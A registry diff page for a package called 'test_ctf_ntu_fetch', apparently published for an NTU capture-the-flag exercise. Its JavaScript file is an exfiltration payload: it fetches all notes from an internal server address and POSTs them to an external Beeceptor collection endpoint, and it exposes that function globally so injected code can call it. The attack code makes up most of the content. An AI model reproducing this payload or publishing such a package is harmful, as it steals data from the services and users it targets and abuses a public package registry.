test_ctf_ntu_fetch 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of test_ctf_ntu_fetch might be problematic. Click here for more details.

package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "test_ctf_ntu_fetch",
3
+ "version": "1.0.0",
4
+ "description": "just for ntu ctf test",
5
+ "main": "test_ctf_ntu_fetch.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "william H",
10
+ "license": "MIT"
11
+ }
@@ -0,0 +1,15 @@
1
+ function leakDataFromEndpoint() {
2
+ fetch('http://10.113.184.121:10082/api/notes/all') // 注意:这是跨域请求
3
+ .then(response => response.json())
4
+ .then(data => {
5
+ fetch('https://ntuctf.free.beeceptor.com', { // 你的 Beeceptor 端点
6
+ method: 'POST',
7
+ body: JSON.stringify(data),
8
+ headers: { 'Content-Type': 'application/json' }
9
+ });
10
+ })
11
+ .catch(error => console.error('Error:', error));
12
+ }
13
+
14
+ // 把leakDataFromEndpoint暴露到全局作用域,以便在外部调用
15
+ window.leakDataFromEndpoint = leakDataFromEndpoint;